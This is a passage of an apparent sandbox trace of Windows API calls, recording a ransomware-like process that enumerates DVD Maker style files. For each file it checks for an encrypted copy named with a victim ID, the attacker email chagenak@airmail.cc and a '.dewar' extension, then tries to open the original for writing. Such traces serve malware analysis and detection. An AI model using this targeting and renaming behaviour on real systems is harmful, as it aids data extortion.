Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.860] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=141214) returned 1 [0245.860] CloseHandle (hObject=0x1b4) returned 1 [0245.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv")) returned 0x20 [0245.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv")) returned 0x20 [0245.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.862] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=157292) returned 1 [0245.862] CloseHandle (hObject=0x1b4) returned 1 [0245.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv")) returned 0x20 [0245.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv")) returned 0x20 [0245.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0245.864] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=157292) returned 1 [0245.864] CloseHandle (hObject=0x1b4) returned 1 [0245.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv")) returned 0x20 [0245.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv")) returned 0x20 [0245.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.977] SetEvent (hEvent=0x118) returned 1 [0245.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.979] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=125292) returned 1 [0245.979] CloseHandle (hObject=0x1f0) returned 1 [0245.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv")) returned 0x20 [0245.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv")) returned 0x20 [0245.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.981] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=220) returned 1 [0245.981] CloseHandle (hObject=0x1f0) returned 1 [0245.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png")) returned 0x20 [0245.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png")) returned 0x20 [0245.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.983] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2922) returned 1 [0245.983] CloseHandle (hObject=0x1f0) returned 1 [0245.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png")) returned 0x20 [0245.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png")) returned 0x20 [0245.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.989] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3939) returned 1 [0245.990] CloseHandle (hObject=0x1f0) returned 1 [0245.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png")) returned 0x20 [0245.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png")) returned 0x20 [0245.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.991] SetEvent (hEvent=0x118) returned 1 [0245.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.992] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4503) returned 1 [0245.992] CloseHandle (hObject=0x1f0) returned 1 [0245.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png")) returned 0x20 [0245.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png")) returned 0x20 [0245.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.994] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4515) returned 1 [0245.994] CloseHandle (hObject=0x1f0) returned 1 [0245.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png")) returned 0x20 [0245.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png")) returned 0x20 [0245.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0245.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.996] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4200) returned 1 [0245.996] CloseHandle (hObject=0x1f0) returned 1 [0245.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png")) returned 0x20 [0246.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png")) returned 0x20 [0246.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.008] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2739) returned 1 [0246.008] CloseHandle (hObject=0x1f0) returned 1 [0246.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png")) returned 0x20 [0246.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png")) returned 0x20 [0246.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.017] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2211) returned 1 [0246.017] CloseHandle (hObject=0x1f0) returned 1 [0246.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png")) returned 0x20 [0246.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png")) returned 0x20 [0246.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.018] SetEvent (hEvent=0x118) returned 1 [0246.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.019] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1551) returned 1 [0246.019] CloseHandle (hObject=0x1f0) returned 1 [0246.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png")) returned 0x20 [0246.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png")) returned 0x20 [0246.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.179] SetEvent (hEvent=0x118) returned 1 [0246.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.182] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=181322) returned 1 [0246.182] CloseHandle (hObject=0x1f0) returned 1 [0246.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv")) returned 0x20 [0246.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv")) returned 0x20 [0246.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.183] SetEvent (hEvent=0x118) returned 1 [0246.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD 